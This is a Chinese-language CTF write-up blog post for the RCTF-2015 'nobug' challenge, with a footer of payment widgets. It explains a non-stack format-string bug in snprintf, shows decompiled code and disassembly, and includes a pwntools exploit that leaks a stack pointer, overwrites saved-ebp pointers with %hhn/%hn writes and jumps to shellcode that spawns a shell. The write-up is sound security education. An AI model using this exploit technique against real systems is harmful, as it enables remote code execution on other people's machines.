RCTF-2015 nobug

5 篇文章 0 订阅

思路

有一个格式化字符串的漏洞

int sub_8048B32()
{
  int v0; // eax
  const char *v1; // eax

  v0 = strlen(s);
  v1 = sub_804869D(s, v0, 0);
  return snprintf(byte_804A8A0, 0x800u, v1);
}

题目没有开nx我们可以直接布置好shellcode然后跳过去观察栈发现一个地方可以利用

.text:08048BD7                 sub     esp, 18h
.text:08048BDA                 call    sub_8048B76
.text:08048BDF                 mov     dword ptr [esp], offset byte_804A8A0 ; s
.text:08048BE6                 call    _puts
.text:08048BEB                 leave
.text:08048BEC                 retn

然后就是非栈上的格式化字符串的利用了
通过改写ebp的指针然后再次写入上一个函数的ebp就可以改写栈上的指针
ebp通常都是函数调用栈的信息保存有上一个函数的ebp地址32位的好像是这样因为有leave这个操作然后函数调用会有push ebp么就会此函数的ebp会指向上一个函数的ebp
引荐师傅的exp:

from pwn import *
import base64
bs64=lambda data:base64.b64encode(data)
p=process('./magic')
#p=remote('220.249.52.133',58049)
sh_add=0x0804A0A0
shellcode=asm(shellcraft.sh())
p.sendline(bs64('%4$p'))
p.recvuntil('0x')
t_g=int(p.recvuntil('\n',drop=True),16)+4
log.success('t_g: '+hex(t_g))
payload=bs64(shellcode+'%'+str((t_g&0xff)-len(shellcode))+'c%4$hhn%'+str((sh_add&0xff)-(t_g&0xff))+'c%12$hn')
p.sendline(payload)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值